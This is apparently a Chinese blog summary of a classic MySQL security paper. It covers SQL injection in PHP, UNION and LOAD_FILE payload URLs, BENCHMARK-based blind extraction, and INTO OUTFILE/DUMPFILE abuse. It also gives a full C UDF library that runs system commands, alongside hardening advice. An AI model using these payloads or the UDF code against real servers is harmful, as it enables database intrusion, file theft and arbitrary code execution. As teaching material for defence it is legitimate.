Hackproofing MySQL
这是一篇很经典的论文,作者Chris Anley 是shellcode handbook的作者之一。我在写这篇文章的时候也参考了官方文档,这篇文章虽然已经满大街了,但是仔细读过还是学到了很多知识,有些地方限于技术和英文水平不能很好的理解,多有疏漏,请看官见谅。
0x01 mysql介绍
mysql号称是世界上最流行的开源数据库,它免费,而且跨平台,配置简单,而且在高负载工作时也能有很好的性能。相比其他的数据库,它的配置过于简单,由此大大挑战了mysql的安全性。本文介绍了mysql的常规攻击方法,使用者们可以防备这些攻击。(由于本文是2004年的文章,mysql已经更新到5.7版本,省略了版本介绍部分)
0x02 网络中的mysql
因为mysql 的免费,容易获得,很多个人电脑上都安装了mysql,不一定是专门的服务器。典型的配置里客户端通过TCP3306端口连接mysql,windows中则是通过命名管道(不推荐这种方式)。mysql默认两种都有。mysql使用的网络协议相对于其他的DBMS要简单,默认明文传输,4.0.0以上版本支持ssl。很容易检测出来一个主机使用的mysql版本,甚至也会返回操作系统的信息。端口扫描能泄漏很多主机的信息,管理员除了改源码也没有什么好办法。
这样检测一下mysql是不是传输的加密数据(PS:如果是加密的也不意味着安全)
shell>tcpdump -l -i eth0 -w - src or dst port 3306 | strings
mysql大多数作为网页应用的后端,和Apache/PHP 网页应用一起作为web服务器。也有的作为日志服务器,IDS入侵探测记录或者其他的审计工作。在内部网络中的应用更加传统,桌面开发环境中总有mysql。
鉴于历史上mysql是明文通信,通常用SSH加在密信道中端口转发连接3306端口。好处就是信息传输中被加密了,强行加了一道验证。
要了解更多的安全配置还是看官方的推荐
http://dev.mysql.com/doc/refman/5.7/en/security.html
但是指南中通常建议将web服务器和mysql放在同一主机上,这样就可以禁止mysql的远程访问,但同时如果web服务器被攻击所有的数据库信息都会被窃取.SQL注入等漏洞也会导致攻击者修改数据库内容。虽然正确的权限管理会缓解一下情况,但是也应该时刻记住数据库和web服务器在同一个主机上给攻击者提供了很多便利。
(因为都不是最新的漏洞了所以以下省略各种漏洞编号和简介)
0x03mysql中的SQL注入
即使安全社区多年不断的劝告和说教,SQL注入如今依然是个大问题,根本的原因是对用户输入没有充分过滤。
php中'magic_quotes_rpc'选项控制PHP引擎是否自动转义单引号,双引号,反斜杠,NULL。
$query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'"; $query = "SELECT * FROM user order by " . $_REQUEST['user']; $query = "SELECT * FROM user where max_connections = " .$_REQUEST['user'];
类似这样的语句,都存在SQL注入。
如果没开启'magic_quotes_rpc' 安全性就会更差一点。
接下来的问题是:黑客SQL注入攻击之后能干什么。
一些危险操作列表
- UNION SELECT
- LOAD_FILE function
- LOAD DATA INFILE statement
- SELECT ... INTO OUTFILE statement
- BENCHMARK function
- User Defined Functions (UDFs)
有个具体的实例可以更加形象的理解,以下有一段PHP代码(明显是虚构的只作为展示)
<?php
/* Connecting, selecting database */
$link = mysql_connect("my_host", "root")
or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("mysql") or die("Could not select database");
/* Performing SQL query */
$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
print "<h3>Query: " . $query . "</h3>";
$result = mysql_query($query) or die("Query failed : " .
mysql_error());
/* Printing results in HTML */
print "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print "\t<tr>\n";
foreach ($line as $col_value) {
print "\t\t<td>$col_value</td>\n";
}
print "\t</tr>\n";
}
print "</table>\n";
/* Free resultset */
mysql_free_result($result);
?>
/* Closing connection */
联合查询UNION
如今联合查询UNION已经成为了SQL注入攻击的重要分支。
上面有一段代码像这样
$query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];
max_connection=0 表示root用户,如果我们请求这样的链接
http://mysql.example.com/query.php?user=0
得到user表的输出。
如果我们想获得除user外其他有用的数据,UNION指令可以结合两次的查询结果,可以查询不同的表。既然UNION可以在WHERE子句之后,我们就可以选择任何的数据,有一些点需要注意。
- 我们选择的指令返回的字段长度要和前一句一样(长度31如果你数了的话)
+前后数据类型要匹配
+如果我们的数据中包括文本,语句会被截断和第一句里一样长。
如果我们想查询‘@@version’
请求像这样
http://mysql.examples.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
0x04 LOAD_FILE 函数
LOAD_FILE函数用字符串形式返回了文件内容,例如在Windows下
select load_file('c:/boot.ini');
如果目标用PHP而且打开了魔术引号功能,那我们就不能用单引号了
(原文说能够hex编码能够绕过,亲测不好用)
因为这样只能显示前60个字符,用substring()解决问题
http://mysql.example.com/query.php?user=1+union+select+substring(load_file (0x633a2f626f6f742e696e69),60), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
LOAD DATA IN FILE
如果SQL注入的环境允许攻击者注入复合语句,这就变成了一个严重的问题。
通常这样利用
load data infile 'c:/boot.ini' into table foo;
select * from foo;```
load data 一个危险的特性可能导致攻击者从客户端拿走文件(而不是服务端),这意味着从web服务器上就能读取文件,不用数据库服务器。
这个问题已经在后面的版本中‘解决’了,需要检查配置客户端和服务端都需要同意才能启用这个功能,所以还要检查配置。
***
PS:为了解决这个问题,LOAD DATA LOCAL 这样工作
+ 默认所有的mysql客户端和二进制文件编译的时候都用-DENABLED_LOCAL_INFILE=1
+ 即使自己从源码编译的时候没有加上-DENABLED_LOCAL_INFILE=1 这一项,LOAD DATA LOCAL也不能被客户端调用,除非明确指出mysql_options(... MYSQL_OPT_LOCAL_INFILE , 0)
+ 服务端可以禁用所有的LOAD DATA LOCAL 命令 ,用--local-infile=0打开mysqld
+ 对于命令行mysql客户端,--local-infile[=1]选项打开功能,--local-infile=0禁止。对于mysqlimport,默认是禁止的。可以用--local -L 打开。
无论怎样,想加载本地文件都需要服务端的同意。
+如果你在Perl脚本中用了LOAD DATA LOCAL 或者其他程序在选项文件中读取了用户组,可以将这个组添加 local-infile 选项。或者为了避免麻烦,用loose-前缀
`[client]
loose-local-infile=1`
+ 如果LOAD DATA LOCAL被客户端或服务端禁止,客户端的错误消息
`ERROR 1148 : The used command is not alleowed with this MySQL version`
***
####0x05 SELECT .. INTO OUTFILE
这条语句为黑客指了一条控制mysql服务器的大道——创建一个不存在的配置文件。最近的版本中虽然不能修改存在的文件,但是可以创建一个新的。
最好的例子是CAN-2003-0150,在3.23.55或更早的版本中可以覆盖my.cnf文件,配置MySQL以root用户重启。3.23.56修补了这个漏洞,但是通过确认’user‘设置 /etc/my.cnf 来覆盖 /datadir/my.cnf
如果你想用SELECT..INTO OUTFILE创建一个二进制文件,特定的字母会被反斜杠转义,NULL用’\0‘替代。
**SELECT ... INTO DUMPFILE**
这条指令可以利用创建动态加载库,再包含一个恶意的UDF(自定义函数),然后用“CREATE FUNCTION”载入库,将函数链接到MySQL。
这么说来,就是一个任意代码执行了。保证攻击的关键在于当MySQL加载动态库的时候攻击者要让它像要寻找的位置写入一个文件。它依赖于文件的权限和文件在系统的位置。
####0x06 时间延时和基准函数
很多时候,web应用不返回任何的错误信息,他们都被有经验的开发者过滤了,给确认SQL注入漏洞带来了一些困难。
这种情况下攻击者注入一个SQL延时语句,看请求的延时就更容易判断web应用的脆弱点。用条件语句和时间延时相结合能从数据中提取更多信息。
MySQL中没有sleep和wait这种函数,可以用加密函数和benchmark替代。
+ ```select benchmark( 500000, sha1( 'test' ) );```
计算sha1('test')500000次。在一个单核1.7GHz的机器上大约消耗五秒。
请求URL
`http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`
会让应用回应延迟10-15秒
+ 攻击者用这种方式来一步步探测信息,比如
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
可以知道用户名是不是root
+ 下一步就是每次1bit的获取信息
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
如果user()的第一bit是1 就延迟
***复合语句可以同时执行,所以这种方式不慢,也很可靠***
#####0x07 User define functions
MySQL提供了一个机制,默认函数可以自己扩展,通过定制动态加载库来使用UDF。
'CREATE FUNCTION'命令和手动添加'mysql.func'中的条目都可以。
库中的函数一定要在MySQL正常可获取的路径中。
攻击者利用这种机制创建动态库,SELECT ... INTO DUMPFILE 将其写到合适的目录中,接着需要mysql.func的 'update','insert'的权限让MySQL加载库并执行函数。
***一个简单UDF库的例子***
```cpp
#include <stdio.h>
#include <stdlib.h>
/*
compile with something like
gcc -g -c so_system.c
then
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type;/* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned long max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}
将函数添加到MySQL
mysql> create function do_system returns integer soname 'so_system.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; mysql> select do_system('ls > /tmp/test.txt');//这样调用
即使攻击者没有权限在目标系统中创建库,利用一些已有的库也可以达到恶意目的。
攻击的难点在于大多数的函数参数不容易匹配MySQL的UDF原型。
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
尽管更富有经验的黑客会用已有的库构造任意代码执行,但是所有的错误基本可控,利用的价值不大。
但是还是可以用系统库做一些坏事,调用Windows的结束进程作为MySQL的UDF会立即结束MySQL,即使调用的用户没有'Shutdown_priv'
mysql> create function ExitProcess returns integer soname 'kernel32'; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query
还可以锁住用户的工作站
mysql> create function LockWorkStation returns integer soname 'user32'; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation();
MySQL的UDF机制对开发者和黑客都同样灵活多变,富有价值。
小心的控制好MySQL的权限,尤其是mysql.func 表,文件权限,限制使用'SELECT .. INTO FILE'。